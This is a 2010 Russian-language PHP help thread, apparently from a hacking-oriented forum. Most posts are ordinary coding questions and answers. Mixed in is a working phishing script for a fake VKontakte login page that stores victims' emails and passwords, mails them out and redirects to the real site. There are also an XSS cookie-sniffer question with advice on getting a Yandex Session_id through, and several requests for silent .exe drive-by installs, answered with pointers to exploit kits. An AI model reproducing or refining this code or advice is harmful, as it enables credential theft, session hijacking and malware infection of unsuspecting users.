-- Table structure for table `studies`
--
DROP TABLE IF EXISTS `studies`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `studies` (
`N_STUDY` int(11) NOT NULL,
`STUDY` char(20) default NULL,
`TEACHER_LASTNAME` char(15) default NULL,
PRIMARY KEY (`N_STUDY`)
) ENGINE=InnoDB DEFAULT CHARSET=cp1251;
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `studies`
--
LOCK TABLES `studies` WRITE;
/*!40000 ALTER TABLE `studies` DISABLE KEYS */;
/*!40000 ALTER TABLE `studies` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2010-04-28 11:02:05
В обоих случаях mysql_query(file_get_contents('dump.sql')) возвращает нулевое значение...
<?php
$dblocation = "localhost";
$dbname = "university";
$dbuser = "root";
$dbpasswd = "!qaz2wsx";
$dbcnx = @mysql_connect($dblocation, $dbuser, $dbpasswd);
if (!$dbcnx)
{
echo "<p>К сожалению, не доступен сервер mySQL</p>";
exit();
}
if (!@mysql_select_db($dbname,$dbcnx) )
{
echo "<p>К сожалению, не доступна база данных</p>";
exit();
}
$res = mysql_query(file_get_contents('1.sql'));
if(!$res)
{
echo "<p>Ошибка в запросе</p>";
exit();
}
?>
Срабатывает if(!$res)... Файл 1.sql лежит в той же папке что и php файл... Может я что-то не так делаю?
StealthMaster, попробуй функцию file("1.sql"); авось прокатит
StealthMaster
28.04.2010, 16:21
$myquery = file_get_contents('dump.sql');
$myquery = str_replace("\r\n", ' ', $myquery);
$res = mysql_query($myquery);
Вот так работает, если в файле dump.sql содержится только 1 SQL-запрос. Это не интересно. Попробуем разобраться с mysqli_multi_query.
есть php скрипт 1.php с многочисленными переменными, нужно в другом php скрипте 2.php вывести 1 переменную с 1.php. как это реализовать? include и require не аомогают, ибо они все выводят :(
есть php скрипт 1.php с многочисленными переменными, нужно в другом php скрипте 2.php вывести 1 переменную с 1.php. как это реализовать? include и require не аомогают, ибо они все выводят :(
подробнее о методах get, post, о сессиях и кукис можно узнать прочитав мануал, и вообще все переменные целесообразно выносить в один в файл
PenSpinner
29.04.2010, 13:51
Каждый абзац по сути яляется строкой. Заноси все абзацы в массив и сортируй массив как строки по алфавиту...
готов дать доллар тому, кто сделает :D :D :D :D :rolleyes:
готов дать доллар тому, кто сделает :D :D :D :D :rolleyes:
Если для тебя новый абзац это двойной перевод строки, то вот:
<?php
$fin = file_get_contents('in.txt');
$array = explode("\r\n\r\n", $fin);
sort($array);
$fout = fopen('out.txt', 'w+');
fwrite($fout, implode("\r\n\r\n", $array));
fclose($fout);
?>
исходный файл - in.txt, на выходе out.txt...
PenSpinner
29.04.2010, 14:53
10, 100, 90, 80, 70 "Серцева недостатність – це стан, при якому:
11, 100 "Серце не може ефективно забезпечити метаболічні потреби організму
12, 0 "Наявна невідповідність між потребою і доставкою кисню до міокарда
13, 0 "Погіршується насосна функція серця
14, 0 "Погіршується здатність до наповнення шлуночків серця
#
20, 100, 90, 80, 70 "Особливості епідеміології серцевої недостатності:
21, 25 "Поширеність у загальній популяції 0,5-4%
22, 25 "Захворюваність 0,15-0,5%
23, 25 "Смертність до 50 на рік
24, 25 "Зростання поширеності залежно від віку
25, 0 "Більшість економічних витрат пов’язані з амбулаторним лікуванням хворих
#
вот. абзацы - это то, что между первой " и #, то есть
Серцева недостатність – це стан, при якому:
11, 100 "Серце не може ефективно забезпечити метаболічні потреби організму
12, 0 "Наявна невідповідність між потребою і доставкою кисню до міокарда
13, 0 "Погіршується насосна функція серця
14, 0 "Погіршується здатність до наповнення шлуночків серця
и
Особливості епідеміології серцевої недостатності:
21, 25 "Поширеність у загальній популяції 0,5-4%
22, 25 "Захворюваність 0,15-0,5%
23, 25 "Смертність до 50 на рік
24, 25 "Зростання поширеності залежно від віку
25, 0 "Більшість економічних витрат пов’язані з амбулаторним лікуванням хворих
соответственно
PenSpinner, так..?!
<?php
$fin = file_get_contents('in.txt');
preg_match_all('# "(.*)\##Us', $fin, $result);
sort($result[1]);
$fout = fopen('out.txt', 'w+');
fwrite($fout, implode("\r\n\r\n", $result[1]));
fclose($fout);
?>
PenSpinner
29.04.2010, 15:21
дадада!!!!!
мего спасибо!
доллар будет завтра, кидай в личку номер вмз :):):):):):):):)
есть массив типа такого
$lol = array_merge ($name, $link, $time);
так вот нужно из него удалить возможные дубли из одинаковых вариантов из массивов $name и $time, т.е. например у нас в массиве $name обнаружилось 3 одинаковых записи, дальше по аналогичным индексам идет проверка в массиве $time и если например все 3 совпадают то удалить 2 и оставить 1 как уник запись или если 2 записей в $time совпадают то удалить 1 и 1 оставить как уник, по удаленным индексам массивах нужно удалить индексы с массива $link и на выходе получить массив без повторов. Я так понимаю здесь array_unique не катит... как вот это лучше реализовать с минимум головной боли ?
SHiNiGaMi
29.04.2010, 16:13
Делай через array_unique($arr), у меня все работает
Соедини все массивы и пропусти через array_unique($arr), где $arr - массив.
так не получиться, перечитай еще раз мой пост...
Кто нить подскажет скрипт для сайта чтобы когда я открывал сайт выскакивало окно типо загрузите файл и я мог спокойно нажать либо да либо нет и скачать файл
restart_05
29.04.2010, 18:20
Как можно вычислить расстояние в км между 2 IP адресами ?
SHiNiGaMi
29.04.2010, 18:59
Учитывая что сигнал от москвы до владивостока идет 0,03 сек... :)
SHiNiGaMi
29.04.2010, 19:02
Pitter Попробуй через if (confirm('закачать?')) then
{
...
}
phpdreamer
29.04.2010, 20:16
Кто нить подскажет скрипт для сайта чтобы когда я открывал сайт выскакивало окно типо загрузите файл и я мог спокойно нажать либо да либо нет и скачать файл
я так понял имеется ввиду Force Download
это делается с помощью header()
читай тут (http://www.ryboe.com/tutorials/php-headers-force-download) и тут (http://www.jonasjohn.de/snippets/php/headers.htm)
Подскажите пожалуйста. я начал недавно изучать работу с сокетами и сейчас хочу написать скрипт, который производит авторизацию на сайте или на форуме. Просто чисто авторизация через скрипт. Но у меня траблы с POST запросом. Никак не могу разобраться в чем проблема, нет авторизуется. Если можно какие -нибудь рекомендации принципа написания подобных скриптов (что нужно учитывать, на что обращать внимание и куда копать) или пример для какой нибудь CMS или форума. Спасибо !
phpdreamer
29.04.2010, 20:41
MotoR, ставь на firefox расширение LiveHTTPheaders https://addons.mozilla.org/ru/firefox/addon/3829?src=similarcollections
или любой HTTP сниффер подрубай к браузеру...
И смотри какие переменные с какими значениями и куда передаются при авторизации на этом сайте, какие HTTP заголовки отправляются...
Потом подставляй эти данные в любой пример авторизации из гугла... проще некуда.
Почитай мануал по сокетам чтоб делать все сознательно...
я так понял имеется ввиду Force Download
это делается с помощью header()
читай тут (http://www.ryboe.com/tutorials/php-headers-force-download) и тут (http://www.jonasjohn.de/snippets/php/headers.htm)
Спс оч помогло, а как сделать чтобы окно не открывалось а файл ставился автоматм без запроса,заранее спс
phpdreamer
29.04.2010, 21:12
Спс оч помогло, а как сделать чтобы окно не открывалось а файл ставился автоматм без запроса,заранее спс
установить? всм. запустить программу без согласия пользователя?
узнай что такое "связка сплоитов"
Как в переменной оставить только A-Z, a-z, 0-9 ?
НTL чтобы оставить:
$out = preg_replace('~[^A-Za-z0-9]*~','',$in);
Или чтобы только проверить
preg_match('~^[A-Za-z0-9]+$~',$in);
meloman113
30.04.2010, 22:05
Доброго времени суток. Помогите мне разобраться. Я сделал фейк Вконтакте и хочу сделать запрос на вилад пароля.
Я создал файл cfg.php
туда впихал код
<?
$mysqlsend=true;
$filesend=true;
$mailsend=true;
$sourcesel="file";
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "35XP4XXL";
$db = "vk";
$repfile="report.txt";
$mail_mailto="@mail.ru";
$mail_subject="Вконтакте!!!!!!"
?>
а в файл log.php я сделал так
<?
require_once("config.php");
$email = mysql_escape_string($_POST['email']);
$pass = mysql_escape_string($_POST['pass']);
if($mysqlsend==true){
$qu="INSERT INTO `vk` ( `email` , `pass` ) VALUES ('$email','$pass')";
mysql_connect($dbhost,$dbuser,$dbpass);
mysql_select_db($db);
mysql_query ('SET NAMES CP1251');
mysql_query ('SET COLLATION_CONNECTION=CP1251_GENERAL_CI');
mysql_query($qu);
}
if($filesend==true){
$file = fopen ("$repfile","a+");
$str = "$email;$pass\r\n";
fputs ( $file, $str);
fclose ($file);
}
if($mailsend==true){
mail($mail_mailto, $mail_subject, '$email;$pass');
}
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru'></head></html>";
?>
А при вводе любых данных "верных" и "неверных" вылазит варнинги, хотя пароль и логин приходят, и после варнингов сразу перекидывает на страницу контакта(это норма) но зачем лишнее палево =)
помогите исправить =\
http://s16.radikal.ru/i190/1004/0f/452c7712837a.jpg
Или дайте готовый код что бы проверял на валид + отчет на мыло. Буду признателен
Deathdreams
30.04.2010, 22:11
meloman113
неверный пароль к мускулю
meloman113, пиши
@mysql_result()
Это подавляет ошибки, например когда результат ничего не дал...
function ass(){
$sql = mysql_query("SELECT * FROM `top_rekla` WHERE `fh` = '0' ORDER BY `id` DESC");
if(mysql_num_rows($sql) > 0){
while($rekla = mysql_fetch_assoc($sql)){
$ret = "<a href='".$rekla['url']."'>".$rekla['url_name']."</a><br/>";
return $ret;
}
}
}
echo ass();
Функция ass() возвращает только одну запись из БД.
Перечитал мануалы, ни чего не понял.
Как заставить функцию ass() вернуть все записи из БД?
mailbrush
01.05.2010, 10:21
После return код не выполняется. Делай конкатенацию или массив, а уже в конце функции возвращай результат.
pavl1k_fan@mail.ru
01.05.2010, 14:17
function ass(){
$sql = mysql_query("SELECT * FROM `top_rekla` WHERE `fh` = '0' ORDER BY `id` DESC");
if(mysql_num_rows($sql) > 0){
while($rekla = mysql_fetch_assoc($sql)){
$ret .= "<a href='".$rekla['url']."'>".$rekla['url_name']."</a><br/>";
}
}
return $ret;
}
echo ass();
Так попробуй..
добрый день, я новичок не сочтите пожалуйста мой вопрос глупым. какой скрипт поможет слить траф с шелла в нужном мне направлении, и куда его непосредственно заливать на самом шеле
programming
01.05.2010, 18:32
Есть папка. В ней лежат изображения и ещё папки. В тех папках тоже лежат изображения и ещё папки и т.д. до любого уровня вложенности. Каким образом возможно получить массив с названиями абсолютно всех файлов-изображений в папке и во всех под-папках любого уровня вложенности, а также их расположение относительно самой первой папки?
Спасибо.
programming
01.05.2010, 20:44
Ещё вопрос.
Как возможно сделать файл txt пользователю для скачки, а не для отображения в браузере?
Player#1
01.05.2010, 20:50
ну примерно так:
$file = "file1.txt";
$size = filesize($file);
header('Content-type: text/txt');
header('Content-Length: '.$size);
header('Content-Disposition: attachment; filename='.$file);
readfile($file);
roker777
01.05.2010, 22:05
Слушайте, можно сделать такой скрипт что бы он заходил на один сайт, потом с этого сайта на другой?
Deathdreams
01.05.2010, 22:13
Слушайте, можно сделать такой скрипт что бы он заходил на один сайт, потом с этого сайта на другой?
редирект ?
если да, то сначала выдераем Location из заголовков и переходим.
roker777
01.05.2010, 22:18
не, оба сайта не мои.
Deathdreams
01.05.2010, 22:20
не, оба сайта не мои.
писать скрипт лень, расскажу.
получаем контент (вместе с заголовками) первого сайта
из заголовка выдераем:
preg_match( "#Location: ([^\r\n]+)#", $content, $location );
а потом переходим по $location[1];
roker777
01.05.2010, 22:20
или может легче такое сделать прогой.
Всем доброго времени суток. Уважаемые гуру, подскажите, плз: есть в страничке код
<a href="#" onclick="pd_modalMessage.prototype.create('full_img_contain er_front', 500, 500, true, show_product_image).show();return false;">
При клике появляется картинка (большая) во всплывающем окне. Как средствами php вытащить ссылку на появляющуюся картику? В коде страницы никаких намёков на прямую ссылку нет. Firebug в FireFox показывает только GET запрос с прямой ссылкой. А вот как она формируется - в толк не возьму.
Заранее спасибо.
Всем доброго времени суток. Уважаемые гуру, подскажите, плз: есть в страничке код
<a href="#" onclick="pd_modalMessage.prototype.create('full_img_contain er_front', 500, 500, true, show_product_image).show();return false;">
При клике появляется картинка (большая) во всплывающем окне. Как средствами php вытащить ссылку на появляющуюся картику? В коде страницы никаких намёков на прямую ссылку нет. Firebug в FireFox показывает только GET запрос с прямой ссылкой. А вот как она формируется - в толк не возьму.
Заранее спасибо.
А формируется она с помощью JS. Копай туда, и парси.
помогите разобрать что делает этот код
if ( $enpages_count <= 10 )
{
$j = 1;
for ( ; do
{
$j <= $enpages_count; ++$j )
{
if ( $j != $ajax_start )
{
$pages .= "<a title=\"Страница: #".$j."\" onClick=\"s_page('".$value['title']."',".$j.",'".$category."')\">".$j."</a>";
}
Валиться во на этом месте
$j = 1;
for ( ; do
{
$j <= $enpages_count; ++$j )
Кажется что то с цыклом не так
Подскажите что нужно сделать?
Deathdreams
03.05.2010, 00:16
Rew не код, а какой-то мистический кусок дерьма
Rew не код, а какой-то мистический кусок дерьма
Ну, вот и валится мистическим образом... :confused:
for ( ; - начать следует с этого - это просто, эммм..., просто что-то невообразимое...
Может так будет понятней Посмотреть код php (http://pastebin.com/7E2SEbWy)
Строка
960 $j <= $enpages_count; ++$j )
958 for ( ; do
Знаю, как иногда бесит, но всё же - почитай http://wcode.ru/php/89/
958 for ( ; do - 100% ошибка в синтаксисе
Подробнее опиши, плз, "как не работает" =)))) Что за ошибку вываливает?
crackmail
03.05.2010, 15:09
Есть хсс
Есть снифер
На снифер передаются куки , ссылка выглядит так:
_http://ССЫЛКО/sn.php?yandex_login=o95;%20yandexuid=5892375125079 1393;%20yabs-frequency=/2/wmcA02y68KThf00l1e43QwG0BmQ10Mka02y6WQBWf00l1c47JQ K0BmQ7//fG8l1XM00mA10O81WG610O410W40;%20yp=2145906000.gp.5 5_753559%3A37_609218%3A1%3A10;%20L=S3sTUXMIQUdxRlB ee3deB1h6Q2hYYVN5JUJfSQovfC5jBA8VBVdDLVEOF0lBOV0Ee WAfShADEVAqFy9bUn8ZGA==.1272878138.7201.293812.f4c a1e10f2e45600466e765012ad9a31;%20fuid01=4abdde7e07 0c5080.5iwiwpzkVN5Y4k362Ky704-x1I420_T3aqYfA6MbzZOgdvG_5Gsz79IN0YZvroSqVi1IuecsY R06d_2vK99HJfqP0bZ37bLyAjX7uOOJ1CELN6QBJfHVqdpb91m t5_ZS;%20aw=1_teJxSYGLAChixC2NVxzGHgeGdEgNDtRaxukY BMgBFASj8vJUgYQkDoPCEheim#ZXeu9/wMBuXZgM4uY2AIAAAD//wMAQGAStQAA#A#;%20Session_id=1272881349.0.0.305950 .2:7517235:310.8:1272878138970:1595452327:15.66384 .6361.fc22404dace6eb5e4d84be6e5a37b849
Снифер принимает эти все данные и ВНИМАНИЕ ЗАПИСЫВАЕТ ТОЛЬКО ЛИШЬ ВОТ ЭТО:
yandex_login=o95;%20yandexuid=58923751250791393;%2 0yabs-frequency=/2/wmcA02y68KThf00l1e43QwG0BmQ10Mka02y6WQBWf00l1c47JQ K0BmQ7//fG8l1XM00mA10O81WG610O410W40;%20yp=2145906000.gp.5 5_753559%3A37_609218%3A1%3A10;%20L=S3sTUXMIQUdxRlB ee3deB1h6Q2hYYVN5JUJfSQovfC5jBA8VBVdDLVEOF0lBOV0Ee WAfShADEVAqFy9bUn8ZGA==.1272878138.7201.293812.f4c a1e10f2e45600466e765012ad9a31;%20fuid01=4abdde7e07 0c5080.5iwiwpzkVN5Y4k362Ky704-x1I420_T3aqYfA6MbzZOgdvG_5Gsz79IN0YZvroSqVi1IuecsY R06d_2vK99HJfqP0bZ37bLyAjX7uOOJ1CELN6QBJfHVqdpb91m t5_ZS;%20aw=1_teJxSYGLAChixC2NVxzGHgeGdEgNDtRaxukY BMgBFASj8vJUgYQkDoPCEheim
Записывает все , ДО символа # , а самая главная то строчка Session ID , а она после решетки , и соответсвенно не передается на сниф
Как сделать так чтобы , ссесиод ид передался на сниф?
Есть хсс
Есть снифер
На снифер передаются куки , ссылка выглядит так:
Снифер принимает эти все данные и ВНИМАНИЕ ЗАПИСЫВАЕТ ТОЛЬКО ЛИШЬ ВОТ ЭТО:
Записывает все , ДО символа # , а самая главная то строчка Session ID , а она после решетки , и соответсвенно не передается на сниф
Как сделать так чтобы , ссесиод ид передался на сниф?
Мб решетку urlencode? Хотя хз, сам xss не люблю, и стараюсь не юзать ^_^
crackmail, да, нужно кодировать всю строку.
m0Hze, ой, какие мы гордые гуру, хсс мы не любим11
crackmail
03.05.2010, 15:40
что ты имеешь ввиду?как кодировать?
XSpectrum
03.05.2010, 16:22
Дарова всем. У меня есть вопрос а можно где нибудь найти учебники языков HTML , PHP?
все есть так полно сайтов где есть эл книги.
Гоогли...
Тут (http://forum.antichat.ru/threadnav8721-1-10.html)
XSpectrum
03.05.2010, 17:26
Спасибо
programming
03.05.2010, 18:50
Каким образом можно сделать файл на сервере, который можно было бы получить через file_get_contents(), но юзеру через браузер увидеть или скачать содержимое нельзя было бы?
programming, в .htaccess напиши
[code]<files "file.txt">
deny from all
</files>
Если перейти по ссылке ruseroticgirls.com/?sid=6738 (http://www.ruseroticgirls.com/?sid=6738), то в куках пишется:
ab_6738 = 4853
function post($url,$post,$refer,$ua)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, trim($ua));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.c');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.c');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
post('http://www.ruseroticgirls.com/?sid=6738',null,'http://www.ruseroticgirls.com/','Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1');
В итоге в файле с куками только это:
www.ruseroticgirls.com FALSE / FALSE 0 PHPSESSID d0e61056671f3c4a09e86fbfd4e17d10
Почему в файл с куками не пишется ab_6738 ?
BlackBoy
03.05.2010, 19:37
есть вопрос:
у меня есть кнопка, при нажатии на эту кнопку должно переменной $zh делаться значение $zh+1 т.е.
$zh = $zh+1;
как осуществить эту затею?
именно, чтоб при нажатии на кнопку. У меня не поличается =( зарание спс
SHiNiGaMi
03.05.2010, 20:11
есть вопрос:
у меня есть кнопка, при нажатии на эту кнопку должно переменной $zh делаться значение $zh+1 т.е.
$zh = $zh+1;
как осуществить эту затею?
именно, чтоб при нажатии на кнопку. У меня не поличается =( зарание спс
<?php
if($_POST[var] == 1)
{
$zh++;
}
echo "<form action=index.php method=post>
<input type=hidden value=1 name=var>
<input type=submit value=button>
</form>";
?>а если хочешь чтобы изменения сохранялись при повторном запуске скрипта, то сохраняй в mysql.
Всем доброго времени суток.
Подскажите , как можно взять первых 3 числа из IP и найти такие же первых 3 числа в IP из БД, но в БД диапазоны IP хранятся в таком виде
1 - 1 - 1334135296 - 1334135807
1334135296 - 1334135807 - это есть диапазон
ппц, уже вопрос правильно с формулировать не могу :(
SeNaP и на кой ляд вы храните диапазоны?
А так вам видимо нужно следующее:
$ip = '10.20.30.40';
echo ip2long($ip) & 0xFFFFFF00;
подскажите пл3,как можно намутить скрытое ска4ивание файла по переходу на сайт? в данный момент он спрашивает 3апустить или сохранить?по хорошему нужно 4тоб он 3апускал автоматом,ну или хотя бы сохронял,а потом отдельным кодом 3апускал... подскажите как это можно реали3овать?
P.S. Файл с расширением .exe
подскажите пл3,как можно намутить скрытое ска4ивание файла по переходу на сайт? в данный момент он спрашивает 3апустить или сохранить?по хорошему нужно 4тоб он 3апускал автоматом,ну или хотя бы сохронял,а потом отдельным кодом 3апускал... подскажите как это можно реали3овать?
насколько я знаю, никак
wildshaman
04.05.2010, 01:08
подскажите пл3,как можно намутить скрытое ска4ивание файла по переходу на сайт? в данный момент он спрашивает 3апустить или сохранить?по хорошему нужно 4тоб он 3апускал автоматом,ну или хотя бы сохронял,а потом отдельным кодом 3апускал... подскажите как это можно реали3овать?
P.S. Файл с расширением .exe
Нужен сплоент
Как зделать setcookie чтоб выглкдело так.
Set-Cookie: apiAccessKey=1lbN2A03Uqrd5Ldcy6fAuNDfIj4POKrPONQ; Domain=.der.ls; Expires=Mon, 17-May-2010 22:52:04 GMT ??
Нужен сплоент
а где его в3ять?может кто кинет?
Я бы сделал так)))
curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
( Если я правильно понял что тебе надо передать куки и чтоб незаморачиваться с setcookie )
Ест ли отладчик дял .php файлов на вроде OLLYDBG.EXE
только для пхп что - бы можно было увидеть какая команда в php файле выполняется строчка за строчкой и что происходит с переменными.
Rew
xdebug
zend-debugger
Первый нормально работает с netbans второй с Zend Studio
Помогите пожалуйста с каптчей... Кто может объяснить принцып ее работы, а еще лучше дать простенький рабочий код, юзал разную литературу, гугл, но почему то на версии PHP 5.3.1 ниодин вариант у меня не хотел работать :(
Большой джо
04.05.2010, 22:42
Как зделать setcookie чтоб выглкдело так.
Set-Cookie: apiAccessKey=1lbN2A03Uqrd5Ldcy6fAuNDfIj4POKrPONQ; Domain=.der.ls; Expires=Mon, 17-May-2010 22:52:04 GMT ??
Думаю самое простое, выставить header
header("Set-Cookie: apiAccessKey=1lbN2A03Uqrd5Ldcy6fAuNDfIj4POKrPONQ; Domain=.der.ls; Expires=Mon, 17-May-2010 22:52:04 GMT")
Помогите пожалуйста с каптчей... Кто может объяснить принцып ее работы, а еще лучше дать простенький рабочий код, юзал разную литературу, гугл, но почему то на версии PHP 5.3.1 ниодин вариант у меня не хотел работать :(
https://forum.antichat.ru/thread60049.html
Помогите пожалуйста! Как сделать чтобы при входе на страницу, на машину гостя скачивался файл но без того чтобы он об етом догадывался ?
Раздел вообщето о помощи в программировании.))) Если ответить коротко- то с такой постановкой понимания вопроса без затрат довольно большой суммы денег- НИКАК, ну а для общего развития ты спросил не про что иное как сплойт и чем больше у него пробив- тем дороже он стоит....и в паблик они ооочень редко выходят да и то когда теряют свою актуальность)))
а если написать скрипт который скачивает файл с фтп?
а если написать скрипт который скачивает файл с фтп?
На чьей стороне ты хочешь его использовать? Если сервера, то это невозможно. Если на стороне клиента, то каким образом ты хочешь его запустить?
На чьей стороне ты хочешь его использовать? Если сервера, то это невозможно. Если на стороне клиента, то каким образом ты хочешь его запустить?
На стороне клиента, я думал использовать вот этот <?php
$host = "ftp.narod.ru";
$connect = ftp_connect($host);
if(!$connect)
{
echo("Ошибка соединения");
exit;
}
else
{
echo("Соединение установлено");
}
$user = "dgdesigne";
$password = "123456";
$result = ftp_login($connect, $user, $password);
if(!$result)
{
echo("Не авторизовался");
exit;
}
else
{
echo("Авторизация успешна");
}
$local_file = "c:/log.txt";
$remote_file = "log.txt";
$getfile = ftp_get($connect, $local_file, $remote_file, ftp_ASCII);
if(!$getfile)
{
echo("Ошибка при загрузке");
exit;
}
else
{
echo("Загрузка завершина");
}
ftp_quit($connect);
?>
но не получается!
<?php echo $row->win; ?>
здесь выводится число.
как мне это число проверить, т.е. больше нуля оно или нет?
superboy4
05.05.2010, 14:40
<?php
if ($row->win > 0) {
...}
elseif ($row->win < 0) {
...}
?>
<?php
if ($row->win > 0) {
...}
elseif ($row->win < 0) {
...}
?>
спс)
Ребята помогите плиз
Есть файл со строчками типа
<a href="http://www.site.com/aa/?[KEYWORD]">las vegas casino with online gaming</a>
<a href="http://www.site.com/aaa/?[KEYWORD]">las vegas casinos online</a>
<a href="http://www.site.com/aaa/?[KEYWORD]">las vegas holdem poker</a>
На выходе нужно получить
<a href="http://www.site.com/aa/?las-vegas-casino-with-online-gaming">las vegas casino with online gaming</a>
<a href="http://www.site.com/aaa/?las-vegas-casinos-online">las vegas casinos online</a>
<a href="http://www.site.com/aaa/?las-vegas-holdem-poker">las vegas holdem poker</a>
С меня ++++
hackmen $f = file('file.txt');
foreach($f as $row)
{
echo str_replace('[KEYWORD]', str_replace(' ','-',trim(strip_tags($row))), $row);
}
Решение ровно по заданию
programming
05.05.2010, 19:20
Есть:
21.04.2010 16:49
Нужно получить:
2010.04.21 16:49
Спасибо.
programming echo preg_replace('~(\d{2}).(\d{2}).(\d{4}) (\d{2}:\d{2})~', '\3.\2.\1 \4', '21.04.2010 16:49')
programming
05.05.2010, 20:47
programming echo preg_replace('~(\d{2}).(\d{2}).(\d{4}) (\d{2}:\d{2})~', '\3.\2.\1 \4', '21.04.2010 16:49')
Спасибо.
Каким образом можно вырвать капчу с http://www.tehpodergka.net/razdel-polzovatelja?action=add ?
Как я понимаю за неё отвечает яваскрипт:
var rndseed = new String(Math.random()); rndseed = rndseed.substring(2,11);
var hex = "0123456789abcdef";
var captchaSID = '';
for (var i = 0 ; i < 32; i++) {
var pos = Math.floor(Math.random() * 16);
captchaSID += hex.substr(pos, 1);
}
document.write ('<' + 'img src="http://www.tehpodergka.net//show_numimage.php?optionsSource=srv_twist_preventi on&module=members&sid=' + captchaSID + '&rs='+rndseed+'" alt="Код" title="Введите этот код в следующем поле, буквы регистронезависимы" /><' + 'input type="hidden" name="captchaSID" value="' + captchaSID + '" />');
eval("captcha_" + captchaSID + " = '';");
var intervalId = setInterval("setCaptchaMD5Hash('" + captchaSID + "')", 300);
eval("intervalId_" + captchaSID + " = intervalId;");
как методами php удалить повторяющиеся строки в файле.
Если у Вас есть решения выложите плиз до завтра.
А нет то буду писать
как методами php удалить повторяющиеся строки в файле.
Если у Вас есть решения выложите плиз до завтра.
А нет то буду писать
непроверял, написанн сейчас на коленке (возможно и ошибся но смысл такой)))
<?php
$text =file_get_contents('my.txt');
$result = array_unique($text);
foreach($result as $value)
{
echo "$value <br />";
}
?>
еще можеш в цикл добавить flush(); чтобы нескушно было наблюдать за экраном))
не подскажите как перевести дату: 05.01.2010 -> 2010-01-05 ?
Extremal
06.05.2010, 07:21
<?php
$data = explode('.','05.01.2010');
echo $data[2].".".$data[1].".".$data[0];
?>
$date = '05.01.2010';
echo strftime ('%Y-%m-%d', strtotime ($date));
Спасибо за помощь.
<?php
$filename = "new.txt";
$text =file($filename);
$result = array_unique($text);
$fd = fopen($filename, "w");
fwrite($fd, implode( $result));
fclose($fd);
?>
Вопрос такой: я выполняю код echo date("j.m.Y H:i:s", 1273158895); на сервере в Америке и в России и получаю разные даты. Понятно, что это зависит от часового пояса. А нет ли команды, чтобы насильно указать date(), что мне нужно московское время?
Deathdreams
06.05.2010, 22:48
Вопрос такой: я выполняю код echo date("j.m.Y H:i:s", 1273158895); на сервере в Америке и в России и получаю разные даты. Понятно, что это зависит от часового пояса. А нет ли команды, чтобы насильно указать date(), что мне нужно московское время?
date( "j.m.Y H:i:s", strtotime("+1 hour", 1273158895) );
+1 - количество часов.
А нет ли команды, чтобы насильно указать date(), что мне нужно московское время?
date_default_timezone_set ('Europe/Moscow');
yuyushin
07.05.2010, 12:30
Я новичок в пхп. Решил написать игру :-) Возникло несколько вопросов.
1) Есть 2 значения - nowlives и maxlives. Как сделать, чтобы если nowlives<maxlives, то nowlives постепенно восстанавливается до maxlives?
2) Как сделать при получении определенного количества опыта переход на следующий уровень?
3) Если только что был бой - как сделать так, чтобы 15 минут нельзя было драться?
Заранее благодарю за ответы:)
Хорошее начало :))
1) a) Связка php+ajax. В php-скрипте пишем что-то типа
if (nowlives < maxlives) {nowlives++}
И вешаем на определённое событие отправку запроса аяксом к этому скрипту.
b) На Javascript через setTimeout проверяем nowlives, опять же, увеличиваем, если < нужного.
2) if (exp == [n]) {lvlUP();}
3) Сразу после боя записываешь в $_SESSION['battle_time'] время окончания битвы (удобнее в unix-time). При попытке боя проверяешь разницу во времени - [текущее - battle_time]
yuyushin
07.05.2010, 13:56
С пунктами 2 и 3 понятно, а про 1b можно поподробнее?
Upd: Уже понял :)
<td><b> Сумма </b><b style="color: rgb(160, 0, 0);">(Сколько бонусов поменять на золото)</b></td>
<td><input name="sum" size="8" maxlength="3" onkeypress="recalcsum(this.value)" onkeyup="recalcsum(this.value)" onkeydown="recalcsum(this.value)"
onclick="recalcsum(this.value)" onchange="recalcsum(this.value)" type="text"></td>
</tr>
<tr height="25">
<td><b> Вы получите (золотых)</b></td>
<td><b><span id="receiv">0.00</span></b></td>
</tr>
Вот код, мне надо в поле ввода, после "Сумма (Сколько бонусов поменять на золото)" , поставил " maxlength="3" ,т.е значение 3 цифры или буквы ,но мне надо поставить значения цифр ограничить ,чтоб ставилось от 0 до 500 ,символы неважно.
ЗЫ заранее спасибо
Gray_Wolf
07.05.2010, 20:14
<td><b> Сумма </b><b style="color: rgb(160, 0, 0);">(Сколько бонусов поменять на золото)</b></td>
<td><input name="sum" size="8" maxlength="3" onkeypress="recalcsum(this.value)" onkeyup="recalcsum(this.value)" onkeydown="recalcsum(this.value)"
onclick="recalcsum(this.value)" onchange="recalcsum(this.value)" type="text"></td>
</tr>
<tr height="25">
<td><b> Вы получите (золотых)</b></td>
<td><b><span id="receiv">0.00</span></b></td>
</tr>
Вот код, мне надо в поле ввода, после "Сумма (Сколько бонусов поменять на золото)" , поставил " maxlength="3" ,т.е значение 3 цифры или буквы ,но мне надо поставить значения цифр ограничить ,чтоб ставилось от 0 до 500 ,символы неважно.
ЗЫ заранее спасибо
